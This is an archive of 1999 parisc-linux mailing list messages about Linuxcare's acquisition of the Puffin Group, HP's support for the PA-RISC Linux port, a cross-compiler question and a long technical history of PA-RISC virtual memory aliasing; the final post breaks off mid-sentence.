X-Trace: ger.gmane.org 1416618701 29037 80.91.229.3 (22 Nov 2014 01:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Dec 15 12:29:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA14514
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 12:29:52 -0700
Original-Received: (qmail 14474 invoked by uid 15267); 15 Dec 1999 19:32:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14458 invoked from network); 15 Dec 1999 19:32:11 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 19:32:11 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA01028
	for parisc-linux@thepuffingroup.com; Wed, 15 Dec 1999 15:36:27 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <19991214215358.A31893@thepuffingroup.com>; from Matthew Wilcox on Tue, Dec 14, 1999 at 09:53:58PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6611

On Tue, Dec 14, 1999 at 09:53:58PM -0500, Matthew Wilcox wrote:
> On Tue, Dec 14, 1999 at 08:22:19PM -0500, John David Anglin wrote:
> > Reported in the Wall Street Journal Dec. 14, 1999, see
> > <http://www.linuxcare.com/company/press/1999/12-14-99_puffin.epl>.  It was
> > stated that the Puffin Group, a small group of Linux buffs who have been
> > helping Hewlett-Packard Co., is being purchased by Linuxcare Inc.  Alex
> > Devries and Christopher Beard will become directors within Linuxcare's
> > Professional Services Business Unit.
> 
> That's correct.  The Puffin Group will now be manning the phone lines

[...]

> The mailing list will be deactivated shortly.  We thank you for your
> participation.

I've been asked to tag this sort of message with explicit sarcasm tags in
the future.  I need to remember the difference between humor and humour.

P.S.  Jack, that sounds like an innovative business model, i'm sure your
IPO will set new records :-)


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 15:26:47 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <1.5.4.32.19991215202647.006a6894@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618701 29044 80.91.229.3 (22 Nov 2014 01:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:41 +0000 (UTC)
To: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Wed Dec 15 13:24:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA15250
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 13:24:27 -0700
Original-Received: (qmail 12946 invoked by uid 15267); 15 Dec 1999 20:26:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12930 invoked from network); 15 Dec 1999 20:26:47 -0000
Original-Received: from ha1.rdc3.on.home.com (HELO mail.rdc3.on.home.com) (24.2.9.68)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 20:26:47 -0000
Original-Received: from flow4 ([24.112.191.14]) by mail.rdc3.on.home.com
          (InterMail v4.01.01.02 201-229-111-106) with SMTP
          id <19991215202442.KMOU15480.mail.rdc3.on.home.com@flow4>;
          Wed, 15 Dec 1999 12:24:42 -0800
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:6612

>I've been asked to tag this sort of message with explicit sarcasm tags in
>the future.  I need to remember the difference between humor and humour.
>

OK. Uffff.... I guess I really should not underestimate the importance of
sleep. Even with SP2 in fron of me... Yeah, it will wait. Go for the sack
now. NOW!
. . . . . 


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 15:56:02 -0500 (EST)
Lines: 93
Approved: news@gmane.org
Message-ID: <199912152056.PAA03097@hiauly1.hia.nrc.ca>
References: <19991215153627.B978@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618701 29046 80.91.229.3 (22 Nov 2014 01:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 15 13:53:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA15640
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 13:53:47 -0700
Original-Received: (qmail 29836 invoked by uid 15267); 15 Dec 1999 20:56:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29821 invoked from network); 15 Dec 1999 20:56:04 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 15 Dec 1999 20:56:04 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA03097;
	Wed, 15 Dec 1999 15:56:02 -0500 (EST)
In-Reply-To: <19991215153627.B978@thepuffingroup.com> from "Matthew Wilcox" at Dec 15, 99 03:36:27 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6613

> On Tue, Dec 14, 1999 at 09:53:58PM -0500, Matthew Wilcox wrote:
> > On Tue, Dec 14, 1999 at 08:22:19PM -0500, John David Anglin wrote:
> > > Reported in the Wall Street Journal Dec. 14, 1999, see
> > > <http://www.linuxcare.com/company/press/1999/12-14-99_puffin.epl>.  It was
> > > stated that the Puffin Group, a small group of Linux buffs who have been
> > > helping Hewlett-Packard Co., is being purchased by Linuxcare Inc.  Alex
> > > Devries and Christopher Beard will become directors within Linuxcare's
> > > Professional Services Business Unit.
> > 
> > That's correct.  The Puffin Group will now be manning the phone lines

Oh, I thought they were going to sell systems to the medical profession.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 19:20:55 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id TAA05207
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 19:20:55 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 19:20:55 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id UAA13361
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 20:18:01 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id UAA08093
	for <pcj@primenet.com>; Wed, 10 Mar 1999 20:19:09 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd008080; Wed Mar 10 20:19:07 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id WAA20140;
	Wed, 10 Mar 1999 22:19:10 -0500
Resent-Date: Wed, 10 Mar 1999 22:19:10 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Wed, 10 Mar 1999 22:18:57 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] New cross compiling RPMs
In-Reply-To: <7678BED5A989D211A39000A0C94309E908D623@wehcml06>
Message-ID: <Pine.LNX.3.96.990310221021.7915B-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"qysf.0.bw4.jOpvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/169
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: a93b5db2abe1887853b7cb2894c9a2a7
Lines: 33
Xref: merlin.pcj.primenet.com palinux:140


On Thu, 11 Mar 1999, PG40 KCLin wrote:
> About the new cross compiler, does it support floating-point emulation for
> PA-RISC 1.1 architecture level 0? In the cross tool, does it support the
> source level debugger based on Windows? or gdb only?

I'm not actually quite sure about the answer to this question; certainly
their is no native floating point support, although there may be
emulation.

This should be easy enough to test.

For the kernel side of things, which is the most immediate concern, we
don't need floating point yet anyway.

There's currently no working gdb, although that shouln't be too difficult
to straighten out either.  I don't know what you mean by the source level
windows debugger, but I'm interested.

-= Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team



-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Molitor <emolitor@molitor.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 01:00:55 -0600 (CST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912150048310.1301-100000@localhost.localdomain>
References: <E11y4LG-0000tV-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618702 29049 80.91.229.3 (22 Nov 2014 01:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: emolitor@molitor.org  Wed Dec 15 19:28:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA17800
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 19:28:54 -0700
Original-Received: (qmail 13666 invoked by uid 15267); 16 Dec 1999 02:31:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13647 invoked from network); 16 Dec 1999 02:31:13 -0000
Original-Received: from router.overcr.org (HELO localhost.localdomain) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 16 Dec 1999 02:31:13 -0000
Original-Received: from localhost (emolitor@localhost)
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id BAA01307;
	Wed, 15 Dec 1999 01:00:55 -0600
X-Authentication-Warning: localhost.localdomain: emolitor owned process doing -bs
X-Sender: emolitor@localhost.localdomain
In-Reply-To: <E11y4LG-0000tV-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:6614

On Wed, 15 Dec 1999, Alan Cox wrote:

> > Reported in the Wall Street Journal Dec. 14, 1999, see
> > <http://www.linuxcare.com/company/press/1999/12-14-99_puffin.epl>.  It was
> > stated that the Puffin Group, a small group of Linux buffs who have been
> > helping Hewlett-Packard Co., is being purchased by Linuxcare Inc.  Alex
> > Devries and Christopher Beard will become directors within Linuxcare's
> > Professional Services Business Unit.
> > 
> > Is this the end?
> 
> That depends what the Puffingroup and HP folks want to do with the port. If
> its carrying on as an open public port and HP are willing to open all 
> their document access and like to other folks I dont see a problem. If they
> work tightly with LC/Puffingroup and trumpet them as their HP Linux porting
> heroes then yes its going to be hard for anyone else to justify working for
> them.
> 
> I doubt HP are dumb somehow. We'll see. Even if HP and LC do most of the
> running in their own private little world it doesnt change things like merging
> with the main kernel tree and working with folks to sort out interfaces and 
> the like.
> 
> Alan

>From someone who has watched the PA-Risc port (and might I add, learned a
lot about low level programing issues) I would have to say that it would
be sad to see it go.

>From all appearences HP has a strong interest in porting Linux to the
PA-Risc architecture (at least the 2.0 arch.). If I recall correctly
aren't there some HP employees whom get paid to work on the port (at least
for 2.0). Regardless I've allready heard rumors that the port is dead from
several people whom are quite distanced from the actual port. Hopefully
someone will be smart enough to address and clarify this issue before it
gets displayed on slashdot. (Rumors are generally taken as 'fact' if
displayed on Slashdot for whatever reason...)

In the meantime my 715/50 stares at me longing for linux as HP-UX
10.20 thumps along clumsily...

- Eric Molitor
  Network, Admin is traitor!


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Puffin sells out!
Date: Wed, 15 Dec 1999 21:22:54 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C202E9D88D@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618702 29052 80.91.229.3 (22 Nov 2014 01:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martin_fink@hp.com  Wed Dec 15 21:20:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA18620
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Dec 1999 21:20:54 -0700
Original-Received: (qmail 17206 invoked by uid 15267); 16 Dec 1999 04:23:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17181 invoked from network); 16 Dec 1999 04:23:14 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Dec 1999 04:23:14 -0000
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by atlrel1.hp.com (Postfix) with ESMTP id B6F6A61FC
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Dec 1999 23:23:13 -0500 (EST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <Y0C739VA>; Wed, 15 Dec 1999 21:23:13 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6615

Ok - an HP manager takes the stand - listen up!

This will attempt to talk to all of the comments posted so far....

1.  HP is currently actively funding the effort to port Linux to PA.
    Since I'm the guy who's actually signing the invoices, paychecks
    and the bills, I think I should know.  So, if anyone doubts that
    this is happening, let me know - if you need to see a warm body
    actually checking in code, we'll arrange for that.

2.  HP is trying really hard to balance active involvement with doing
    too much.  This is an Open Source project.  HP's role is to help
    by providing docs, equipment, and resources to the community to do
    the development.  If you don't have what you need, tell me the
    specific details of what you're missing and why you need it.  I'll
    do what I can to get it to you.  If HP tries to do too much, then
    we'll be perceived as taking over the port.  If you think we have
    the wrong balance, speak up, give details and tell us what you
    think we should be doing.

3.  We are actively working on cleaning up docs (ie removing people's
    names, part numbers, product code names and proprietary data).
    It's a complex and involved process that engineers do (in most
    cases) at home, in their spare time.  Again, if there's a specific
    piece of data you need, post a note, we'll get you what you need.

4.  The relationship between HP and The Puffins (LinuxCare) is just
    fine.  We continue to work closely together, and we all feel very
    positive about the Puffin/LinuxCare linkup.  As Alex mentioned,
    because of the linkup, more and better is now possible.

Any questions?  I'll be listening until Friday 5PM MST, then I'll be
on vacation (in my home town of Ottawa of all places) until Jan 4th, 
2000.

Martin

+=====================================================================+
| Martin Fink                 | E-mail: mailto:martin_fink@hp.com     |
| UNIX Development Lab        | Phone:  970-898-7076                  |
| Hewlett-Packard Co.         | FAX:    970-898-2838                  |
| 3404 East Harmony Road      | ===================================== |
| Ft. Collins, CO, USA, 80528 | Web:    http://www.hp.com/            |
+=====================================================================+    


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Puffin sells out!
Date: Thu, 16 Dec 1999 09:01:13 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C202E9D88F@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618702 29055 80.91.229.3 (22 Nov 2014 01:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martin_fink@hp.com  Thu Dec 16 08:58:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA22917
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Dec 1999 08:58:59 -0700
Original-Received: (qmail 1480 invoked by uid 15267); 16 Dec 1999 16:01:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1472 invoked from network); 16 Dec 1999 16:01:16 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 Dec 1999 16:01:16 -0000
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by atlrel2.hp.com (Postfix) with ESMTP id DB939530
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Dec 1999 11:01:15 -0500 (EST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <Y0C7PPLY>; Thu, 16 Dec 1999 09:01:15 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6616

Some good questions here.  Let's see if I can address some of this....

> Regarding checking in code, that is a good idea.  Jeff Law at Cygnus
> controls the gcc development with an iron hand, trying to 
> ensure that each
> modification is justified and the side effects are understood.  Quite
> a few patches and small fixes haven't made it into the linux 
> CVS because
> no one has this responsibility.  Somebody needs to be in 
> charge.  Cygnus
> uses separate lists for bug discussion, patches, etc.  Paul Bame has
> helped getting some of my stuff in.
> 

I expect that Alex and the Puffin Group to do the source management
and make sure the submissions are sane.  As part of HP's contribution
to the effort, we supply systems and provide administrative assistance 
for the systems used for source management.  At one point, there will be
a merge back to the main kernel tree.  I'm not sure how the "arch"
PA specific stuff will be maintain after that.  Paul works for one
of my managers.

> The community understands that HP has been funding and supporting the
> port.  The big question is the level of support enough?  How important
> is linux to HP's future?  At least two years ago, SGI decided IRIX was
> dying and agressively started to support linux development for their
> machines.  Red Hat currently has a market capitalization on the order
> of $16 billion.  Linuxcare just had a major capital infusion 
> from Dell,
> Sun, Motorola and Oracle.  I can't predict the future but it 
> sure looks
> like the landscape is changing fast.  You know what HP is spending, so
> how does it compare?  Is it enough to ensure that HP remains a player?

I think we have to be careful here, because there are some key 
differences.  There is no question in my mind that Linux is very
important to HP.  However, where SGI made the decision to eventually
replace IRIX with Linux, HP still has full intent to aggressively
support, enhance, and continue development of HP-UX.  HP-UX is still
the #1 UNIX out there and HP is very committed to that customer base.
However, we have customers and potential customers that would like
to see support of Linux from HP.  To that end, HP is investing in
a large number of areas.  That includes Linux on PA, Linux on IA-32,
Linux on IA-64, etc. etc.  Also, don't forget that we have printers
and networking devices and other businesses also investing in Linux.
HP made some very substantial contributions to the Linux/IA-64 port
to get it where it is today.  So, will HP be a major Linux player? -
Absolutely!  If you have any doubt that HP can flex its $42Billion
muscle against Sun, IBM and DELL - just watch!

> 
> Alan Cox correctly stated the concerns of the external community.
> How it is managed is very important.  If the community feels Linuxcare
> is using the community to further its own ends, they won't be 
> happy about
> contributing.  This is what I trying to convey when I originally wrote
> "Puffin sells out!".  The balance with HP isn't particular 
> important as
> long as the external community can contribute as peers.  My 
> sense is the
> external community loves challenge and will endeavour to find the best
> solution possible.  On the otherhand, it is not well 
> organized and there
> are all levels of expertise.
> 
> I like contributing because it is fun and challenging.

All I can say at this point is that, that's what we're trying
to do.  If I took over 90% of the Linux/PA development, it would
be tough for the community to be contributing as peers.  So,
when someone thinks there's a problem - speak up - I am
listening.

> 
> The spare time comment concerns me and again reflects on HP's 
> commitment.
> On the otherhand, the pace of providing documentation probably hasn't
> significantly impacted the pace of code development.  I would guess
> that documentation on graphics adapters will be needed in the 
> near future.
> None of this seems to be available.

Let me clarify.  The real job of the hardware engineers who own most 
of the docs is to do more hardware.  The docs they write are normally
done for internal use and internal partners.  They may reference
information that is proprietary, trade secret, or licensed from other
companies we have as partners.  Their job is not to do Linux, or 
HP-UX, or NT, or any other OS.  But, most of them are really excited
about the work we're doing and giving time from their day and night
jobs to make sure we're successful.  So, not only do you have an HP
commitment with hard dollars behind it, you have the emotional
commitment of engineers at HP (which may in fact be more valuable :)).
The graphics side is also something we're managing and pulling docs
for.  Most of the requests we've received are for our very old
workstations and we have to go and dig-out the docs and find someone
who still remembers the stuff :).  We'll probably be careful with
the brand new stuff.  HP has leadership graphics that no one else
can touch right now.  How we do that is still covered by patent,
copyright and trade secret.  We are working on a number of 
different alternatives to get the community what they need without
giving away the goose.  Again, if you have a specific need, speak
up - we'll get you what we can.

> 
> If you have time while you're in town, give me a call.  Maybe we can
> go for a beer or such.  Possibly, some of the Linuxcare 
> Puffins would like
> to go as well.
> 

Probably not this go-around.  When I'm in town meeting with Alex on
official business, we can probably arrange that.

> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 
> 990-0752 (FAX: 952-6605)
> 

+=====================================================================+
| Martin Fink                 | E-mail: mailto:martin_fink@hp.com     |
| UNIX Development Lab        | Phone:  970-898-7076                  |
| Hewlett-Packard Co.         | FAX:    970-898-2838                  |
| 3404 East Harmony Road      | ===================================== |
| Ft. Collins, CO, USA, 80528 | Web:    http://www.hp.com/            |
+=====================================================================+    


From - Thu Nov 08 21:11:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <huck@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Comments on non-equivalent aliasing and PA-RISC (long)
Date: Thu, 16 Dec 1999 08:42:01 -0800 (PST)
Lines: 166
Approved: news@gmane.org
Message-ID: <199912161642.IAA11478@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618703 29314 80.91.229.3 (22 Nov 2014 01:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: huck@cup.hp.com  Thu Dec 16 09:41:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA23396
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Dec 1999 09:41:16 -0700
Original-Received: (qmail 24371 invoked by uid 15267); 16 Dec 1999 16:43:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24360 invoked from network); 16 Dec 1999 16:43:37 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Dec 1999 16:43:37 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel1.hp.com (Postfix) with ESMTP id E2EE9268
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Dec 1999 08:43:02 -0800 (PST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA11478 for parisc-linux@thepuffingroup.com; Thu, 16 Dec 1999 08:42:01 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6617

I would like to comment on the discussion related to equivalent and
non-equivalent aliasing issues on PA-RISC.

In summary, I think the 2.0 and 1.1e3 architecture book is overly
restrictive on aliasing between physical and virtual addresses.  We
are investigating prior designs to ensure that we can restate the
rules to allow transitivity in the equivalent aliasing rules.  We hope
to post updated documentation and a collection of errata to the PA
RISC 2.0 manual in the January timeframe.  (as an aside, I do like the
model where kernel addresses are the same for virtual or physical
accesses; it does get much easier in PA2.0.)

The remainder of this note describes some of the history of PA-RISC on
how we got where we are.  People not interested in virtual memory
aliasing architecture can skip the following.

I've been involved in the PA-RISC architecture development process
since 1983.  The virtual memory model was heavily influenced by the
single-level store work by IBM (in System 3x).  But, that influence
was heavily tempered by hardware designers trying to squeeze it into
very modest LSI.  The big dilemma was the HW interest in having big
virtual-indexed caches to avoid putting the TLB lookup in the critical
path.  There are ways to have big caches and full aliasing support
but it does take effort and reduces performance.

PA-RISC defines a virtual memory model based on global virtual
addresses (GVA).  A virtual address is first transformed into a global
virtual address (via a simple space register lookup and concatenation
for PA1.x) and that address is used to lookup in the TLB.  This allows
a single page table to hold translations for all processes.  A
different mechanism is used to provide protection (protection IDs).  A
specialization of this approach is address space IDs used in some
other RISC architectures.  This augments the per-process address space
to avoid TLB purging on context switch.

When data is not shared between processes, then everything is simple.
Sharing on traditional page-table per process architectures is done via
aliasing.  Sharing on PA-RISC is done by using the same GVA.

Single address space models didn't normally require aliasing.  A
process was always given a global address to the data.  Protection is
done using the Protection IDs.  This works very well when you can
control the system call semantics.  Sharing is easy and the tough
things (like very different access rights to the same VA range) are
just outlawed.  Unix process semantics that suggested aliasing (like
fork) could be easily implemented using shared global addresses.  The
text segment is directly shared by using the same space register ID.
Data segment sharing is done via copy-on-access instead of
copy-on-write.  Sharing is done with SR6 and SR7 being common between
all processes.

The other nice aspect of single address space models is the sharing of
TLB entries.  Sharing is done by using the same global virtual address
- hence it's covered by the same TLB entry.  The OS can keep a single
data structure for that object and just record the processes that
attach to it.  For example, there is a single text segment for all the
"vi" processes.  They all share the same page table and TLB entries for
that segment.

Single address spaces are not without problems.  The biggest in
PA-RISC was the 1G limit for each of the quadrants.  An aliased model
allows a flexible boundary between stack, heap, text, shared data,
etc.  We had to make special hacks to get around the problems - some
that encouraged some limited aliasing.  IBM's RS6000 has a little bit
of the same issue but had 16 space-like registers (upper 4-bits of
each 32-bit offset).  They could more easily adjust boundaries to
allow flexible sizing of process address space.  As many people have
said in the past, "this is not a problem for the 2.0 architecture
since a 62-bit offset is more than enough for the future - or at
least until I retire".

Our second problem with single address spaces that we didn't fix
until PA2.0, was good support for instruction stream space crossing.
The Apollo folks tried to get better shared library support in 1.1
('89ish) but the design (PA7000) was too far along and we just did the
FP part of their proposal.  Also, I didn't have a good handle on
shared library design to support the proposal.

A final general problem is the ability to incorporate other designs
into our "different" environment.  For example, a 3rd party file
system might be designed to coordinate between mapped files and the
buffer pool using aliasing.  While it is not hard to manage coherence
using GVAs, it will involve a lot of rework to use.

For this discussion, I'm ignoring aliasing support where all aliased
translations are ping-ponged between the different aliases via
protection faults.  We can handle any kind of alias if you're willing to
take the time to remap the page.  Some minimization of the ping-ponging
must be considered.

So the rest of the note is a little chronology of the how the aliasing
architecture evolved to the current definition.

The first specs completely outlawed all aliasing.  It was/is expected
that the OS flush the range whenever a virtual address (VA) needed to
be changed.  An early change was made to allow PA=VA aliasing in '84.  The
OS couldn't begin to manage the page tables if that aliasing wasn't
allowed.

The first 1.1 book (11/90) defined the first virtual aliasing model -
